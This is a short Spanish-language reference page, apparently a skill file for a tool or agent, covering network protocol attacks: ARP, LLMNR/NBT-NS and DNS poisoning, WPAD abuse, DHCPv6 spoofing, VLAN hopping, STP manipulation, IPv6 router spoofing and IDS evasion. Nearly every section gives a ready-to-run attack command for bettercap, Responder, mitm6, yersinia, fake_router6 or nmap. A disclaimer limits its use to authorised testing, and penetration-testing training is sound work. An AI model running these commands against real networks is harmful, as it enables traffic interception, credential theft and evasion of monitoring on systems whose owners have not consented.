¿Qué hace network-protocol-attacks?
Manual de ataques de protocolos de red. Útil para explotar protocolos de capa 2/3 como envenenamiento ARP, envenenamiento LLMNR/NBT-NS/mDNS, abuso de WPAD, ataques DHCPv6, salto de VLAN, manipulación STP, suplantación de DNS, ataques IPv6 y evasión de IDS/IPS.
Contenido
- Envenenamiento ARP
- Envenenamiento LLMNR/NBT-NS/mDNS
- Abuso de WPAD
- Ataques DHCPv6
- Salto de VLAN
- Manipulación STP
- Suplantación de DNS
- Ataques IPv6
- Evasión de IDS/IPS
Envenenamiento ARP
Utiliza herramientas como arpspoof o bettercap para interceptar tráfico entre dos hosts. Ejemplo con Bettercap:
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
Envenenamiento LLMNR/NBT-NS/mDNS
Usa Responder para envenenar consultas de nombres locales. Ejemplo:
sudo responder -I eth0 -wrf
Abuso de WPAD
Habilita la falsificación de WPAD con Responder:
sudo responder -I eth0 -wF
Ataques DHCPv6
Con mitm6, realiza ataques de suplantación de DHCPv6 para forzar a los clientes a usar un servidor DNS malicioso:
sudo mitm6 -d dominio.local
Salto de VLAN
Explota configuraciones incorrectas de VLAN mediante etiquetado doble (VLAN hopping). Ejemplo con macchanger y vconfig:
sudo vconfig add eth0 10
sudo ifconfig eth0.10 up
Manipulación STP
Manipula el protocolo STP para convertirse en el puente raíz y redirigir tráfico. Usa yersinia:
sudo yersinia stp -attack 1
Suplantación de DNS
Envenena respuestas DNS con ettercap o bettercap:
sudo bettercap -eval "set dns.spoof.domains example.com; dns.spoof on"
Ataques IPv6
Realiza ataques específicos de IPv6, como el enrutamiento falso con thc-ipv6:
sudo fake_router6 eth0
Evasión de IDS/IPS
Genera tráfico fragmentado o cifrado para evitar detección. Ejemplo con nmap:
nmap -f -D RND:10 -sS target_ip
Advertencia
Este skill es solo para fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de estas técnicas es ilegal. Asegúrate de contar con permiso explícito antes de ejecutar cualquier ataque.